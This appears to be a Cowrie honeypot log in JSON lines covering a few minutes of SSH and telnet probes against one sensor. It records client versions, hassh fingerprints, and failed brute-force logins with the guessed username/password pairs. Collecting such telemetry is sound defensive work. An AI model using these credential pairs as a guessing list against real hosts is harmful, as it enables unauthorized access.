{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:07:43.890924Z","src_ip":"27.71.230.31","session":"788a00d65427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:07:45.818540Z","src_ip":"27.71.230.31","session":"788a00d65427","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password1!","message":"login attempt [root/password1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:07:50.202171Z","src_ip":"27.71.230.31","session":"788a00d65427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:07:51.925160Z","src_ip":"27.71.230.31","session":"788a00d65427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.189.195.8","src_port":49740,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b9d63929a5e","protocol":"ssh","message":"New connection: 203.189.195.8:49740 (10.17.0.5:22) [session: 6b9d63929a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:07:53.470698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:07:53.477375Z","src_ip":"203.189.195.8","session":"6b9d63929a5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:07:53.773244Z","src_ip":"203.189.195.8","session":"6b9d63929a5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ignition","password":"123456","message":"login attempt [ignition/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:07:55.678492Z","src_ip":"203.189.195.8","session":"6b9d63929a5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":55634,"dst_ip":"10.17.0.5","dst_port":22,"session":"c70901d514d5","protocol":"ssh","message":"New connection: 14.63.196.175:55634 (10.17.0.5:22) [session: c70901d514d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:08:08.423313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:08:08.428022Z","src_ip":"14.63.196.175","session":"c70901d514d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:08:08.626655Z","src_ip":"14.63.196.175","session":"c70901d514d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git#2024","message":"login attempt [git/git#2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:08:09.451255Z","src_ip":"14.63.196.175","session":"c70901d514d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:08:10.653180Z","src_ip":"14.63.196.175","session":"c70901d514d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":36680,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b774989e683","protocol":"ssh","message":"New connection: 103.15.222.183:36680 (10.17.0.5:22) [session: 4b774989e683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:08:18.741997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:08:18.746923Z","src_ip":"103.15.222.183","session":"4b774989e683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:08:19.001856Z","src_ip":"103.15.222.183","session":"4b774989e683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lesha123","message":"login attempt [root/lesha123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:08:19.768519Z","src_ip":"103.15.222.183","session":"4b774989e683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:08:21.025362Z","src_ip":"103.15.222.183","session":"4b774989e683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":60088,"dst_ip":"159.203.135.109","dst_port":22,"session":"6037b14c8f1d","protocol":"ssh","message":"New connection: 27.71.230.31:60088 (159.203.135.109:22) [session: 6037b14c8f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:09:02.311063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:09:02.321772Z","src_ip":"27.71.230.31","session":"6037b14c8f1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:09:03.633599Z","src_ip":"27.71.230.31","session":"6037b14c8f1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password1!","message":"login attempt [root/password1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:09:05.235638Z","src_ip":"27.71.230.31","session":"6037b14c8f1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:09:07.128306Z","src_ip":"27.71.230.31","session":"6037b14c8f1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":49184,"dst_ip":"10.17.0.5","dst_port":22,"session":"73b46d515545","protocol":"ssh","message":"New connection: 76.79.213.69:49184 (10.17.0.5:22) [session: 73b46d515545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:09:12.499332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:09:12.503973Z","src_ip":"76.79.213.69","session":"73b46d515545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:09:12.630888Z","src_ip":"76.79.213.69","session":"73b46d515545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123321","message":"login attempt [root/aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:09:13.150594Z","src_ip":"76.79.213.69","session":"73b46d515545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:09:14.275158Z","src_ip":"76.79.213.69","session":"73b46d515545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":60998,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c147de0811b","protocol":"ssh","message":"New connection: 62.133.62.83:60998 (10.17.0.5:22) [session: 7c147de0811b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:09:33.402939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:09:33.408121Z","src_ip":"62.133.62.83","session":"7c147de0811b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:09:33.485173Z","src_ip":"62.133.62.83","session":"7c147de0811b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arlene","message":"login attempt [root/arlene] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:09:33.807438Z","src_ip":"62.133.62.83","session":"7c147de0811b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:09:34.891067Z","src_ip":"62.133.62.83","session":"7c147de0811b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35830,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c2afe2c00a3","protocol":"telnet","message":"New connection: 128.199.8.54:35830 (159.203.135.109:23) [session: 4c2afe2c00a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:09:47.946860Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:09:53.475659Z","src_ip":"203.189.195.8","session":"6b9d63929a5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38878,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dee2c86e5a8","protocol":"telnet","message":"New connection: 172.81.62.90:38878 (159.203.135.109:23) [session: 9dee2c86e5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:10:07.552989Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53504,"dst_ip":"159.203.135.109","dst_port":23,"session":"46d5e49b3488","protocol":"telnet","message":"New connection: 172.81.62.90:53504 (159.203.135.109:23) [session: 46d5e49b3488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:10:07.556803Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":55388,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1f2b1cdd584","protocol":"ssh","message":"New connection: 80.94.92.168:55388 (159.203.135.109:22) [session: e1f2b1cdd584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:10:30.602835Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:10:30.755408Z","src_ip":"80.94.92.168","session":"e1f2b1cdd584","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.2575204372406,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:10:41.810349Z","src_ip":"172.81.62.90","session":"9dee2c86e5a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.33184099197388,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:10:46.888561Z","src_ip":"172.81.62.90","session":"46d5e49b3488","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":55338,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8eddda33534","protocol":"ssh","message":"New connection: 14.63.196.175:55338 (10.17.0.5:22) [session: d8eddda33534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:10:51.635136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:10:51.644899Z","src_ip":"14.63.196.175","session":"d8eddda33534","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:10:51.852000Z","src_ip":"14.63.196.175","session":"d8eddda33534","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"12345","message":"login attempt [gitlab-runner/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:10:52.710262Z","src_ip":"14.63.196.175","session":"d8eddda33534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:10:53.921297Z","src_ip":"14.63.196.175","session":"d8eddda33534","protocol":"ssh"}
